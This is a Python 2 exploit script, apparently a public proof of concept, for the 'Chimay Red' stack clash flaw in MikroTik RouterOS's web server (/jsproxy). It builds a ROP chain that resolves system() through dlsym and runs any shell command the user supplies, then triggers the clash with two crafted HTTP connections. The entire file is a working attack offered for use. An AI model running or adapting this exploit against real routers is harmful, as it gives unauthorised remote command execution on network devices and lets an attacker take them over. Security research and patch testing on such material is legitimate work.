#!/usr/bin/env python2# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)# tested on RouterOS 6.38.4 (x86)# ASLR enabled on libs only# DEP enabledimport socket, time, sys, structfrom pwn import *import ropgadgetAST_STACKSIZE = 0x20000 # stack size per thread (128 KB)SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into accountADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chaincontext(arch="i386", os="linux", log_level="WARNING")gadgets = dict()plt = dict()strings = dict()system_chunks = []cmd_chunks = []def makeHeader(num): return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")def makeSocket(ip, port): s = socket.socket() try: s.connect((ip, port)) except: print("Error connecting to socket") sys.exit(-1) print("Connected") time.sleep(0.5) return sdef socketSend(s, data): try: s.send(data) except: print("Error sending data") sys.exit(-1) print("Sent") time.sleep(0.5)def ropCall(function_address, *arguments): payload = struct.pack('<L', function_address) num_arg = len(arguments) if num_arg > 0: if num_arg == 1: ret_gadget = gadgets['p'] elif num_arg == 2: ret_gadget = gadgets['pp'] elif num_arg == 3: ret_gadget = gadgets['ppp'] elif num_arg == 4: ret_gadget = gadgets['pppp'] else: raise payload += struct.pack('<L', ret_gadget) for arg in arguments: payload += struct.pack('<L', arg) return payload# pwntools filters out JOP gadgets# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074def ropSearchJmp(elf, instruction): oldargv = sys.argv sys.argv = ['ropgadget', '–binary', elf.path, '–only', 'jmp'] args = ropgadget.args.Args().getArgs() core = ropgadget.core.Core(args) core.do_binary(elf.path) core.do_load(0) sys.argv = oldargv for gadget in core._Core__gadgets: address = gadget['vaddr'] – elf.load_addr + elf.address if gadget['gadget'] == instruction: return address raisedef loadOffsets(binary, shellCmd): elf = ELF(binary) rop = ROP(elf) # www PLT symbols plt["strncpy"] = elf.plt['strncpy'] plt["dlsym"] = elf.plt['dlsym'] # Gadgets to clean the stack from arguments gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address gadgets['p'] = rop.search(regs=["ebp"]).address # Gadget to jump on the result of dlsym (address of system) gadgets['jeax'] = ropSearchJmp(elf, "jmp eax") system_chunks.extend(searchStringChunksLazy(elf, "system\x00")) cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00")) # get the address of the first writable segment to store strings writable_address = elf.writable_segments[0].header.p_paddr strings['system'] = writable_address strings['cmd'] = writable_address + 0xfdef generateStrncpyChain(dst, chunks): chain = "" offset = 0 for (address, length) in chunks: chain += ropCall(plt["strncpy"], dst + offset, address, length) offset += length return chain# only search for single charsdef searchStringChunksLazy(elf, string): chunks = [] for b in string: res = [_ for _ in elf.search(b)] if len(res) > 0: chunks.append((res[0], 1)) else: raise if len(string) != len(chunks): raise return chunks# [bugged, some problem with dots, not used]# search chunks of stringdef searchStringChunks(elf, string): chunks = [] total = len(string) if string == "": raise looking = string while string != "": results = [_ for _ in elf.search(looking)] if len(results) > 0: chunks.append((results[0], len(looking))) string = string[len(looking):] looking = string else: # search failed looking = looking[:-1] # search again removing last char check_length = 0 for (address, length) in chunks: check_length = check_length + length if check_length == total: return chunks else: raisedef buildROP(binary, shellCmd): loadOffsets(binary, shellCmd) # ROP chain exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system" exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd" exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd") # The server is automatically restarted after 3 secs, so we make it crash with a random address exploit += struct.pack('<L', 0x13371337) return exploitdef stackClash(ip, port, ropChain): print("Opening 2 sockets") # 1) Start 2 threads # open 2 socket so 2 threads are created s1 = makeSocket(ip, port) # socket 1, thread A s2 = makeSocket(ip, port) # socket 2, thread B print("Stack clash…") # 2) Stack Clash # 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A) socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here) # 2.2) send some bytes as post data to socket 1 (thread A) socketSend(s1, b'A'*(SKIP_SPACE – ALIGN_SIZE – ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved # 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B) socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned print("Sending payload") # 3) Send ROP chain socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B print("Starting exploit") # 4) Start ROP chain s2.close() # close socket 2 to return from the function of thread B and start ROP chain print("Done!")if __name__ == "__main__": if len(sys.argv) == 5: ip = sys.argv[1] port = int(sys.argv[2]) binary = sys.argv[3] shellCmd = sys.argv[4] print("Building ROP chain…") ropChain = buildROP(binary, shellCmd) print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)") stackClash(ip, port, ropChain) else: print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")
